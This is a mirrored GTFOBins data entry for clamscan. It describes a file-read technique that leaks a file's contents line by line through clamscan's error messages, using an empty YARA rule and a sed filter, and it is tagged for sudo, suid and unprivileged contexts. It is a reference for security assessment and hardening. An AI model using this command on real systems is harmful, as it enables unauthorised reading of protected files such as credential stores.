mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
15 lines
424 B
Plaintext
15 lines
424 B
Plaintext
---
|
|
functions:
|
|
file-read:
|
|
- binary: false
|
|
code: |-
|
|
touch x.yara
|
|
clamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
|
|
comment: |-
|
|
Each line of the file is interpreted as a path and the content is leaked via error messages. The output can optionally be cleaned using `sed`.
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
...
|